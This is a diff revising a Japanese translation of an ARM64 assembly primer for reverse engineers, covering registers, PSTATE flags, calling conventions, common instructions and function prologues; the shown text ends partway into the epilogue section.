-特別レジスタ**`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリングで一般的に見られます。`EL0`の接尾辞は、レジスタにアクセスできる**最小例外**を示します（この場合、EL0は通常の例外（特権）レベルで、通常のプログラムが実行されます）。\ -これらは通常、メモリの**スレッドローカルストレージ**領域のベースアドレスを保存するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目のものはEL0から読み取ることができ、EL1から書き込むことができます（カーネルのように）。 +特殊レジスタの **`TPIDR_EL0`** と **`TPIDDR_EL0`** はリバースエンジニアリングでよく見かけます。`EL0`というサフィックスはそのレジスタがアクセス可能な**最小の例外レベル**を示します（この場合EL0は通常のプログラムが動作する権限レベルです）。\ +これらはスレッドローカルストレージのベースアドレスを格納するために使われることが多いです。通常、最初のものはEL0で読み書き可能ですが、2番目のものはEL0から読み取り、EL1（カーネル）から書き込みが可能、というような違いがあります。 -- `mrs x0, TPIDR_EL0 ; TPIDR_EL0をx0に読み取る` -- `msr TPIDR_EL0, X0 ; x0をTPIDR_EL0に書き込む` +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE**は、オペレーティングシステムが可視化する**`SPSR_ELx`**特別レジスタに直列化された複数のプロセスコンポーネントを含み、Xはトリガーされた例外の**権限** **レベル**を示します（これにより、例外が終了したときにプロセス状態を回復できます）。\ -これらはアクセス可能なフィールドです： +**PSTATE** はいくつかのプロセスコンポーネントをまとまった形でオペレーティングシステムから見える **`SPSR_ELx`** 特殊レジスタにシリアライズします（ここでXはトリガされた例外の**権限レベル**を示します。例外終了時にプロセス状態を復元できるようにするためです）。\ +アクセス可能なフィールドは以下の通りです：
-- **`N`**、**`Z`**、**`C`**、および**`V`**条件フラグ： -- **`N`**は、操作が負の結果をもたらしたことを意味します。 -- **`Z`**は、操作がゼロをもたらしたことを意味します。 -- **`C`**は、操作がキャリーしたことを意味します。 -- **`V`**は、操作が符号付きオーバーフローをもたらしたことを意味します： -- 2つの正の数の合計が負の結果をもたらします。 -- 2つの負の数の合計が正の結果をもたらします。 -- 減算では、大きな負の数が小さな正の数から引かれた場合（またはその逆）、結果が与えられたビットサイズの範囲内で表現できない場合。 -- 明らかに、プロセッサは操作が符号付きかどうかを知らないため、CとVを操作でチェックし、符号付きまたは符号なしの場合にキャリーが発生したかどうかを示します。 +- **`N`**, **`Z`**, **`C`**, **`V`** の条件フラグ: +- **`N`**: 演算結果が負であったことを意味します +- **`Z`**: 演算結果がゼロであったことを意味します +- **`C`**: 繰り上がり（キャリー）があったことを意味します +- **`V`**: 符号付きオーバーフローが発生したことを意味します: +- 2つの正の数の和が負になる場合 +- 2つの負の数の和が正になる場合 +- 引き算で、大きい負の数から小さい正の数を引く（またはその逆）など、結果が与えられたビット幅で表現できない場合 +- プロセッサは演算が符号付きか符号無しかを知らないため、CとVを組み合わせて演算でキャリーやオーバーフローが発生したかを示します。 > [!WARNING] -> すべての命令がこれらのフラグを更新するわけではありません。**`CMP`**や**`TST`**のようなものは更新し、**`ADDS`**のようにsサフィックスを持つ他のものも更新します。 +> すべての命令がこれらのフラグを更新するわけではありません。`CMP`や`TST`のような命令は更新しますし、`s`サフィックスのある`ADDS`なども更新します。 -- 現在の**レジスタ幅（`nRW`）フラグ**：フラグが0の値を保持している場合、プログラムは再開時にAArch64実行状態で実行されます。 -- 現在の**例外レベル**（**`EL`**）：EL0で実行される通常のプログラムは値0を持ちます。 -- **単一ステップ**フラグ（**`SS`**）：デバッガによって使用され、例外を通じて**`SPSR_ELx`**内でSSフラグを1に設定することによって単一ステップを実行します。プログラムは1ステップ実行し、単一ステップ例外を発生させます。 -- **不正例外**状態フラグ（**`IL`**）：特権ソフトウェアが無効な例外レベル転送を実行したときにマークするために使用され、このフラグは1に設定され、プロセッサは不正状態例外をトリガーします。 -- **`DAIF`**フラグ：これらのフラグは、特権プログラムが特定の外部例外を選択的にマスクできるようにします。 -- **`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**（IRQ）に応答するように設定します。Fは**高速割り込み要求**（FIR）に関連しています。 -- **スタックポインタ選択**フラグ（**`SPS`**）：EL1以上で実行される特権プログラムは、自分のスタックポインタレジスタとユーザーモデルのスタックポインタ（例：`SP_EL1`と`EL0`）の間でスワップできます。この切り替えは、**`SPSel`**特別レジスタに書き込むことによって行われます。これはEL0からは行えません。 +- 現在の**レジスタ幅（`nRW`）フラグ**: フラグが0なら、再開時にプログラムはAArch64実行状態で動作します。 +- 現在の**例外レベル（`EL`）**: EL0で動作する通常プログラムは0になります。 +- **シングルステップ（`SS`）フラグ**: デバッガが例外を介して`SPSR_ELx`内のSSフラグを1にセットすることでシングルステップを実現します。プログラムは1ステップ実行し、シングルステップ例外を発行します。 +- **不正な例外状態（`IL`）フラグ**: 特権ソフトウェアが無効な例外レベル遷移を行ったときにこのフラグが1にセットされ、プロセッサは不正な状態例外をトリガします。 +- **`DAIF` フラグ**: これらのフラグは特権プログラムが特定の外部例外を選択的にマスクすることを可能にします。 +- **`A`** が1なら非同期アボート（asynchronous aborts）がトリガされます。**`I`** は外部ハードウェア割り込み要求（IRQ）への応答を制御し、**`F`** はファスト割り込み要求（FIQ）に関連します。 +- **スタックポインタ選択（`SPS`）フラグ**: EL1以上で実行される特権プログラムは、自身のスタックポインタレジスタとユーザモデルのスタックポインタ（例：`SP_EL1` と `EL0`）を切り替えることができます。この切り替えは `SPSel` 特殊レジスタへの書き込みで行われます。EL0からは実行できません。 ## **呼び出し規約 (ARM64v8)** -ARM64の呼び出し規約では、関数への**最初の8つのパラメータ**はレジスタ**`x0`から`x7`**に渡されます。**追加の**パラメータは**スタック**に渡されます。**戻り**値はレジスタ**`x0`**に返され、**128ビット長**の場合は**`x1`**にも返されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しの間に**保持**されなければなりません。 +ARM64の呼び出し規約では、関数への最初の8個のパラメータはレジスタ `x0` から `x7` に渡されます。追加のパラメータは**スタック**経由で渡されます。戻り値はレジスタ `x0` に返され、もし128ビット長の戻り値なら `x1` も使われます。`x19` から `x30` と `sp` は関数呼び出しの間に**保存**される必要があります。 -アセンブリで関数を読むときは、**関数のプロローグとエピローグ**を探します。**プロローグ**は通常、**フレームポインタ（`x29`）の保存**、**新しいフレームポインタの設定**、および**スタックスペースの割り当て**を含みます。**エピローグ**は通常、**保存されたフレームポインタの復元**と**関数からの戻り**を含みます。 +アセンブリで関数を読むときは、**関数のプロローグとエピローグ**を探してください。**プロローグ**は通常、**フレームポインタ（`x29`）を保存**し、**新しいフレームポインタを設定**し、**スタック領域を確保**する処理を含みます。**エピローグ**は通常、**保存したフレームポインタを復元**し、関数から**戻る**処理を含みます。 -### Swiftにおける呼び出し規約 +### Swiftの呼び出し規約 -Swiftには独自の**呼び出し規約**があり、[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)で見つけることができます。 +Swiftは独自の**呼び出し規約**を持っており、それは次で確認できます: [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **一般的な命令 (ARM64v8)** +## **よく使われる命令 (ARM64v8)** -ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opcode`**は実行される**操作**（`add`、`sub`、`mov`など）、**`dst`**は結果が格納される**宛先**レジスタ、**`src1`**および**`src2`**は**ソース**レジスタです。即時値もソースレジスタの代わりに使用できます。 +ARM64命令は一般に **`opcode dst, src1, src2`** の形式を取り、ここで **`opcode`** は実行する操作（`add`, `sub`, `mov` など）、**`dst`** は結果を格納する宛先レジスタ、**`src1`** と **`src2`** がソースレジスタです。即値をソースレジスタの代わりに使うこともできます。 -- **`mov`**: **値を1つの**レジスタから別のレジスタに**移動**します。 -- 例：`mov x0, x1` — これは`x1`から`x0`に値を移動します。 -- **`ldr`**: **メモリ**から**レジスタ**に値を**ロード**します。 -- 例：`ldr x0, [x1]` — これは`x1`が指すメモリ位置から`x0`に値をロードします。 -- **オフセットモード**：元のポインタに影響を与えるオフセットが示されます。例えば： -- `ldr x2, [x1, #8]`、これは`x1 + 8`から`x2`に値をロードします。 -- `ldr x2, [x0, x1, lsl #2]`、これは配列`x0`から位置`x1`（インデックス）\* 4のオブジェクトを`x2`にロードします。 -- **プレインデックスモード**：これは元に計算を適用し、結果を取得し、元の位置に新しい元を保存します。 -- `ldr x2, [x1, #8]!`、これは`x1 + 8`を`x2`にロードし、`x1`に`x1 + 8`の結果を保存します。 -- `str lr, [sp, #-4]!`、リンクレジスタを`sp`に保存し、レジスタ`sp`を更新します。 -- **ポストインデックスモード**：これは前のものと似ていますが、メモリアドレスにアクセスし、その後オフセットが計算されて保存されます。 -- `ldr x0, [x1], #8`、`x1`を`x0`にロードし、`x1`を`x1 + 8`で更新します。 -- **PC相対アドレッシング**：この場合、ロードするアドレスはPCレジスタに相対的に計算されます。 -- `ldr x1, =_start`、これは`_start`シンボルが始まるアドレスを現在のPCに関連付けて`x1`にロードします。 -- **`str`**: **レジスタ**から**メモリ**に値を**保存**します。 -- 例：`str x0, [x1]` — これは`x0`の値を`x1`が指すメモリ位置に保存します。 -- **`ldp`**: **レジスタのペアをロード**します。この命令は**連続したメモリ**位置から**2つのレジスタ**を**ロード**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。 -- 例：`ldp x0, x1, [x2]` — これは`x2`および`x2 + 8`のメモリ位置から`x0`と`x1`をロードします。 -- **`stp`**: **レジスタのペアを保存**します。この命令は**連続したメモリ**位置に**2つのレジスタ**を**保存**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。 -- 例：`stp x0, x1, [sp]` — これは`sp`および`sp + 8`のメモリ位置に`x0`と`x1`を保存します。 -- `stp x0, x1, [sp, #16]!` — これは`sp+16`および`sp + 24`のメモリ位置に`x0`と`x1`を保存し、`sp`を`sp+16`で更新します。 -- **`add`**: 2つのレジスタの値を**加算**し、結果をレジスタに保存します。 -- 構文：add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- **`mov`**: レジスタ間で値を**移動**します。 +- 例: `mov x0, x1` — `x1`の値を`x0`に移動します。 +- **`ldr`**: **メモリから**値を**レジスタへロード**します。 +- 例: `ldr x0, [x1]` — `x1`が指すメモリ位置から値を読み取り`x0`に格納します。 +- **オフセットモード**: オリジンポインタに影響するオフセットが示されます。例えば: +- `ldr x2, [x1, #8]` は x1 + 8 のアドレスから値をロードして x2 に入れます +- `ldr x2, [x0, x1, lsl #2]` は配列 x0 の x1（インデックス）位置 * 4 からオブジェクトをロードして x2 に入れます +- **プリインデックスモード**: 計算をオリジンに適用して結果を取得し、その新しいオリジンをオリジンレジスタに格納します。 +- `ldr x2, [x1, #8]!` は `x1 + 8` の値を x2 にロードし、x1 に `x1 + 8` を格納します +- `str lr, [sp, #-4]!` はリンクレジスタを sp に格納し、sp を更新します +- **ポストインデックスモード**: 前者に似ていますが、メモリアドレスにアクセスした後でオフセットを計算して格納します。 +- `ldr x0, [x1], #8` は x1 の値を x0 にロードし、x1 を `x1 + 8` に更新します +- **PC相対アドレッシング**: 読み込むアドレスが PC レジスタに対して相対的に計算されます +- `ldr x1, =_start` は現在のPCに関連して `_start` シンボルの開始アドレスを x1 にロードします。 +- **`str`**: レジスタからメモリへ値を**ストア**します。 +- 例: `str x0, [x1]` — `x0`の値を`x1`が指すメモリ位置に格納します。 +- **`ldp`**: **ペアロード**。連続するメモリ位置から2つのレジスタをロードします。メモリアドレスは通常別のレジスタにオフセットを加えたものです。 +- 例: `ldp x0, x1, [x2]` — `x2`と`x2 + 8`からそれぞれ`x0`と`x1`をロードします。 +- **`stp`**: **ペアストア**。連続するメモリ位置へ2つのレジスタを格納します。 +- 例: `stp x0, x1, [sp]` — `x0`と`x1`をそれぞれ`sp`と`sp + 8`に格納します。 +- `stp x0, x1, [sp, #16]!` — `x0`と`x1`を`sp+16`と`sp+24`に格納し、`sp`を`sp+16`に更新します。 +- **`add`**: 2つのレジスタの値を加算して結果をレジスタに格納します。 +- 構文: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX] - Xn1 -> 宛先 - Xn2 -> オペランド1 -- Xn3 | #imm -> オペランド2（レジスタまたは即時） -- \[shift #N | RRX] -> シフトを実行するか、RRXを呼び出します。 -- 例：`add x0, x1, x2` — これは`x1`と`x2`の値を加算し、結果を`x0`に保存します。 -- `add x5, x5, #1, lsl #12` — これは4096に等しい（1を12回シフト）-> 1 0000 0000 0000 0000 -- **`adds`** これは`add`を実行し、フラグを更新します。 -- **`sub`**: 2つのレジスタの値を**減算**し、結果をレジスタに保存します。 -- **`add`**の**構文**を確認してください。 -- 例：`sub x0, x1, x2` — これは`x1`から`x2`の値を減算し、結果を`x0`に保存します。 -- **`subs`** これは`sub`のようにフラグを更新します。 -- **`mul`**: **2つのレジスタ**の値を**乗算**し、結果をレジスタに保存します。 -- 例：`mul x0, x1, x2` — これは`x1`と`x2`の値を乗算し、結果を`x0`に保存します。 -- **`div`**: 1つのレジスタの値を別のレジスタで割り、結果をレジスタに保存します。 -- 例：`div x0, x1, x2` — これは`x1`を`x2`で割り、結果を`x0`に保存します。 -- **`lsl`**、**`lsr`**、**`asr`**、**`ror`, `rrx`**: -- **論理シフト左**：末尾から0を追加し、他のビットを前方に移動させます（n回2倍）。 -- **論理シフト右**：先頭に1を追加し、他のビットを後方に移動させます（符号なしでn回2で割る）。 -- **算術シフト右**：**`lsr`**のように、最上位ビットが1の場合は0を追加するのではなく、**1を追加します**（符号付きでn回2で割る）。 -- **右に回転**：**`lsr`**のように、右から削除されたものを左に追加します。 -- **拡張付き右回転**：**`ror`**のように、キャリーフラグを「最上位ビット」として扱います。したがって、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。 -- **`bfm`**: **ビットフィールド移動**、これらの操作は**値から`0...n`ビットをコピー**し、**`m..m+n`**の位置に配置します。**`#s`**は**最左ビット**の位置を指定し、**`#r`**は**右に回転する量**を指定します。 -- ビットフィールド移動：`BFM Xd, Xn, #r` -- 符号付きビットフィールド移動：`SBFM Xd, Xn, #r, #s` -- 符号なしビットフィールド移動：`UBFM Xd, Xn, #r, #s` -- **ビットフィールドの抽出と挿入**：レジスタからビットフィールドをコピーし、別のレジスタにコピーします。 -- **`BFI X1, X2, #3, #4`** X1の3ビット目からX2の4ビットを挿入します。 -- **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、X1にコピーします。 -- **`SBFIZ X1, X2, #3, #4`** X2から4ビットを符号拡張し、ビット位置3からX1に挿入します。右のビットはゼロにします。 -- **`SBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、符号拡張してX1に配置します。 -- **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、ビット位置3からX1に挿入します。右のビットはゼロにします。 -- **`UBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。 -- **符号拡張Xへの拡張**：値の符号を拡張（または符号なしバージョンでは単に0を追加）して、操作を実行できるようにします： -- **`SXTB X1, W2`** W2からX1にバイトの符号を拡張します（`W2`は`X2`の半分です）。 -- **`SXTH X1, W2`** W2からX1に16ビット数の符号を拡張します。 -- **`SXTW X1, W2`** W2からX1にバイトの符号を拡張します。 -- **`UXTB X1, W2`** W2からX1にバイトに0を追加します（符号なし）。 -- **`extr`**：指定された**ペアのレジスタを連結**してビットを抽出します。 -- 例：`EXTR W3, W2, W1, #3` これは**W1+W2を連結**し、**W2のビット3からW1のビット3まで**を取得してW3に保存します。 -- **`cmp`**: **2つのレジスタを比較**し、条件フラグを設定します。これは**`subs`**のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。 -- **`subs`**と同じ構文をサポートします。 -- 例：`cmp x0, x1` — これは`x0`と`x1`の値を比較し、条件フラグを適切に設定します。 -- **`cmn`**: **負のオペランドを比較**します。この場合、これは**`adds`**のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。 -- **`ccmp`**: 条件付き比較で、これは前の比較が真であった場合にのみ実行され、特にnzcvビットを設定します。 -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合、funcにジャンプします。 -- これは**`ccmp`**が**前の`cmp`が`NE`であった場合にのみ実行されるため**、そうでない場合はビット`nzcv`が0に設定され（`blt`比較を満たさない）、使用されます。 -- これは`ccmn`としても使用できます（同じですが負の、`cmp`対`cmn`のように）。 -- **`tst`**: 比較の値が両方とも1であるかどうかをチェックします（結果をどこにも保存せずにANDSのように動作します）。これは、レジスタの値と値を比較し、指定された値のビットのいずれかが1であるかどうかを確認するのに便利です。 -- 例：`tst X1, #7` X1の最後の3ビットのいずれかが1であるかを確認します。 -- **`teq`**: 結果を破棄するXOR操作。 -- **`b`**: 無条件分岐。 -- 例：`b myFunction` -- これはリンクレジスタに戻りアドレスを設定しないため（戻る必要があるサブルーチン呼び出しには適していません）。 -- **`bl`**: **リンク付き分岐**、**サブルーチンを呼び出す**ために使用されます。**戻りアドレスを`x30`に保存**します。 -- 例：`bl myFunction` — これは関数`myFunction`を呼び出し、戻りアドレスを`x30`に保存します。 -- これはリンクレジスタに戻りアドレスを設定しないため（戻る必要があるサブルーチン呼び出しには適していません）。 -- **`blr`**: **レジスタへのリンク付き分岐**、ターゲットが**レジスタ**で指定される**サブルーチンを呼び出す**ために使用されます。戻りアドレスを`x30`に保存します。 -- 例：`blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に保存します。 -- **`ret`**: **サブルーチンから戻る**、通常は**`x30`**のアドレスを使用します。 -- 例：`ret` — これは現在のサブルーチンから戻り、`x30`の戻りアドレスを使用します。 -- **`b.`**: 条件付き分岐。 -- **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいて。 -- 例：`b.eq label` — 前の`cmp`命令が2つの等しい値を見つけた場合、これは`label`にジャンプします。 -- **`b.ne`**: **等しくない場合に分岐**。この命令は条件フラグをチェックし（前の比較命令によって設定された）、比較された値が等しくない場合、ラベルまたはアドレスに分岐します。 -- 例：`cmp x0, x1`命令の後、`b.ne label` — `x0`と`x1`の値が等しくない場合、これは`label`にジャンプします。 -- **`cbz`**: **ゼロで比較し分岐**。この命令はレジスタをゼロと比較し、等しい場合はラベルまたはアドレスに分岐します。 -- 例：`cbz x0, label` — `x0`の値がゼロの場合、これは`label`にジャンプします。 -- **`cbnz`**: **非ゼロで比較し分岐**。この命令はレジスタをゼロと比較し、等しくない場合はラベルまたはアドレスに分岐します。 -- 例：`cbnz x0, label` — `x0`の値が非ゼロの場合、これは`label`にジャンプします。 -- **`tbnz`**: ビットをテストし、非ゼロの場合に分岐。 -- 例：`tbnz x0, #8, label` -- **`tbz`**: ビットをテストし、ゼロの場合に分岐。 -- 例：`tbz x0, #8, label` -- **条件付き選択操作**：これらは条件ビットに応じて動作が変わる操作です。 -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 真の場合、X0 = X1、偽の場合、X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> 真の場合、Xd = Xn + 1、偽の場合、Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> 真の場合、Xd = NOT(Xn)、偽の場合、Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = - Xm -- `cneg Xd, Xn, cond` -> 真の場合、Xd = - Xn、偽の場合、Xd = Xn -- `cset Xd, Xn, Xm, cond` -> 真の場合、Xd = 1、偽の場合、Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \<すべて1>、偽の場合、Xd = 0 -- **`adrp`**: シンボルの**ページアドレスを計算**し、レジスタに保存します。 -- 例：`adrp x0, symbol` — これは`symbol`のページアドレスを計算し、`x0`に保存します。 -- **`ldrsw`**: メモリから**符号付き32ビット**値を**ロード**し、**64ビットに符号拡張**します。 -- 例：`ldrsw x0, [x1]` — これは`x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に保存します。 -- **`stur`**: **レジスタ値をメモリ位置に保存**し、別のレジスタからのオフセットを使用します。 -- 例：`stur x0, [x1, #4]` — これは`x0`の値を`x1`のアドレスより4バイト大きいメモリアドレスに保存します。 -- **`svc`** : **システムコール**を行います。「スーパーバイザコール」を意味します。この命令をプロセッサが実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリの特定の位置にジャンプします。 +- Xn3 | #imm -> オペランド2（レジスタまたは即値） +- [shift #N | RRX] -> シフトを行うか RRX を呼ぶ +- 例: `add x0, x1, x2` — `x1`と`x2`の値を加算して`x0`に格納します。 +- `add x5, x5, #1, lsl #12` — これは4096に相当します（1を12回左シフト）-> 1 0000 0000 0000 0000 +- **`adds`**: `add`を実行しフラグを更新します。 +- **`sub`**: 2つのレジスタの値を減算して結果をレジスタに格納します（`add`と同様の構文）。 +- 例: `sub x0, x1, x2` — `x1`から`x2`を引いて結果を`x0`に格納します。 +- **`subs`**: `sub`だがフラグを更新します。 +- **`mul`**: 2つのレジスタの値を乗算して結果を格納します。 +- 例: `mul x0, x1, x2` — `x1`と`x2`を乗算して`x0`に格納します。 +- **`div`**: 1つのレジスタの値を別のレジスタで除算して結果を格納します。 +- 例: `div x0, x1, x2` — `x1`を`x2`で除算して結果を`x0`に格納します。 +- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: +- **Logical shift left**: ビットを左に移動し末尾に0を追加（2のn乗による乗算） +- **Logical shift right**: ビットを右に移動し先頭に0を追加（符号無しでの2のn乗による除算） +- **Arithmetic shift right**: `lsr`に似ますが、最上位ビットが1の場合は先頭に1を追加します（符号付きでの2のn乗による除算） +- **Rotate right**: `lsr`に似ていますが、右から削除されたビットが左に回転されて追加されます +- **Rotate Right with Extend**: `ror`に似ていますが、キャリーフラグを「最上位ビット」として扱います。キャリーフラグがビット31に移り、削除されたビットがキャリーフラグに入ります。 +- **`bfm`**: Bit Field Move。これらの操作は値のビット `0...n` をコピーして位置 `m..m+n` に配置します。`#s` は左端のビット位置、`#r` は右回転量を指定します。 +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** レジスタからビットフィールドをコピーして別のレジスタにコピーします。 +- **`BFI X1, X2, #3, #4`** X2の4ビットをX1の3ビット目から挿入します +- **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出してX1にコピーします +- **`SBFIZ X1, X2, #3, #4`** X2の4ビットを符号拡張してX1のビット位置3から挿入し、右側のビットを0にします +- **`SBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出して符号拡張し、結果をX1に配置します +- **`UBFIZ X1, X2, #3, #4`** X2の4ビットをゼロ拡張してX1のビット位置3から挿入し、右側のビットを0にします +- **`UBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出してゼロ拡張した結果をX1に配置します。 +- **Sign Extend To X:** 値の符号を拡張（符号無しの場合は0を埋める）して演算に使えるようにします: +- **`SXTB X1, W2`** W2の1バイトの符号を拡張してX1に（W2はX2の下位半分） +- **`SXTH X1, W2`** 16ビットの符号を拡張してX1に +- **`SXTW X1, W2`** 32ビットの符号を拡張してX1に +- **`UXTB X1, W2`** W2のバイトをゼロ拡張してX1に +- **`extr`**: 指定したレジスタペアを連結してからビットを抽出します。 +- 例: `EXTR W3, W2, W1, #3` これは `W1+W2` を連結し、W2のビット3からW1のビット3までを取り出して W3 に格納します。 +- **`cmp`**: 2つのレジスタを比較して条件フラグを設定します。これは `subs` のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n` かどうかを知るのに便利です。 +- `subs` と同じ構文をサポートします。 +- 例: `cmp x0, x1` — `x0` と `x1` を比較して条件フラグを設定します。 +- **`cmn`**: 負のオペランドを比較します。これは `adds` のエイリアスで同じ構文をサポートします。`m == -n` を知るのに便利です。 +- **`ccmp`**: 条件付き比較。これは前の比較が真のときのみ実行され、特に `nzcv` ビットを設定します。 +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> もし x1 != x2 かつ x3 < x4 なら func にジャンプ +- これは `ccmp` が前の `cmp` が `NE` の場合にのみ実行されるためです。そうでない場合、`nzcv` ビットは0にセットされ（`blt`の条件を満たしません）。 +- これは `ccmn`（同様だが負の比較）としても使用できます。 +- **`tst`**: 比較の値のいずれかのビットが1かを検査します（結果はどこにも格納しない ANDS のように動作）。レジスタと値を比較して指定したビットが1かどうかをチェックするのに便利です。 +- 例: `tst X1, #7` X1の下位3ビットのいずれかが1かをチェックします +- **`teq`**: 結果を破棄するXOR操作 +- **`b`**: 無条件分岐 +- 例: `b myFunction` +- これはリンクレジスタに戻りアドレスをセットしないので、戻る必要のあるサブルーチン呼び出しには不適です。 +- **`bl`**: リンク付き分岐。サブルーチン呼び出しに使用され、**戻りアドレスを`x30`に保存**します。 +- 例: `bl myFunction` — 関数 `myFunction` を呼び出し、戻りアドレスを `x30` に保存します。 +- **`blr`**: レジスタへのリンク付き分岐。ターゲットがレジスタで指定されるサブルーチン呼び出しに使われ、戻りアドレスを `x30` に保存します。 +- 例: `blr x1` — x1に格納されたアドレスの関数を呼び出し、戻りアドレスを `x30` に保存します。 +- **`ret`**: サブルーチンからの戻り。通常 `x30` のアドレスを使います。 +- 例: `ret` — 現在のサブルーチンから `x30` の戻りアドレスを使って戻ります。 +- **`b.`**: 条件付き分岐 +- **`b.eq`**: 等しい場合に分岐（直前の `cmp` に基づく）。 +- 例: `b.eq label` — 直前の `cmp` で等しいと判断されたら `label` にジャンプします。 +- **`b.ne`**: 等しくない場合に分岐。条件フラグをチェックし、等しくない場合はラベルやアドレスへ分岐します。 +- 例: `cmp x0, x1` の後に `b.ne label` — `x0` と `x1` が等しくない場合に `label` にジャンプします。 +- **`cbz`**: ゼロと比較して分岐。レジスタをゼロと比較し、等しければ分岐します。 +- 例: `cbz x0, label` — `x0` がゼロなら `label` にジャンプします。 +- **`cbnz`**: ゼロでない場合に分岐。 +- 例: `cbnz x0, label` — `x0` がゼロでなければ `label` にジャンプします。 +- **`tbnz`**: 指定ビットをテストしてゼロでなければ分岐 +- 例: `tbnz x0, #8, label` +- **`tbz`**: 指定ビットをテストしてゼロなら分岐 +- 例: `tbz x0, #8, label` +- **条件付きセレクト操作**: 条件ビットに応じて動作が変わる操作群。 +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 真なら X0 = X1, 偽なら X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> 真なら Xd = Xn + 1, 偽なら Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> 真なら Xd = NOT(Xn), 偽なら Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = -Xm +- `cneg Xd, Xn, cond` -> 真なら Xd = -Xn, 偽なら Xd = Xn +- `cset Xd, Xn, Xm, cond` -> 真なら Xd = 1, 偽なら Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> 真なら Xd = <全ビット1>, 偽なら Xd = 0 +- **`adrp`**: シンボルのページアドレスを計算してレジスタに格納します。 +- 例: `adrp x0, symbol` — `symbol` のページアドレスを計算して `x0` に格納します。 +- **`ldrsw`**: メモリから符号付き32ビット値をロードし、それを64ビットへ符号拡張して格納します。 +- 例: `ldrsw x0, [x1]` — `x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に格納します。 +- **`stur`**: オフセットを使ってレジスタの値をメモリ位置にストアします。 +- 例: `stur x0, [x1, #4]` — `x1`の示すアドレスから4バイト先のメモリ位置に`x0`の値を格納します。 +- **`svc`** : システムコールを行います。Supervisor Callの略です。この命令を実行すると、プロセッサはユーザモードからカーネルモードへ切り替わり、カーネルのシステムコール処理コードがある特定の場所にジャンプします。 -- 例： +- 例: ```armasm -mov x8, 93 ; システムコール番号93をレジスタx8にロードします。 -mov x0, 0 ; 終了ステータスコード0をレジスタx0にロードします。 -svc 0 ; システムコールを行います。 +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **関数プロローグ** +### **Function Prologue** -1. **リンクレジスタとフレームポインタをスタックに保存**: +1. **リンクレジスタとフレームポインタをスタックに保存する**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **新しいフレームポインタを設定する**: `mov x29, sp` (現在の関数のために新しいフレームポインタを設定します) -3. **ローカル変数のためにスタック上にスペースを割り当てる** (必要な場合): `sub sp, sp, ` (ここで `` は必要なバイト数です) +2. **新しいフレームポインタを設定する**: `mov x29, sp` (現在の関数の新しいフレームポインタを設定する) +3. **ローカル変数用にスタック上の領域を確保する**（必要な場合）: `sub sp, sp, ` (`` は必要なバイト数) -### **関数エピローグ** +### **関数のエピローグ** -1. **ローカル変数を解放する 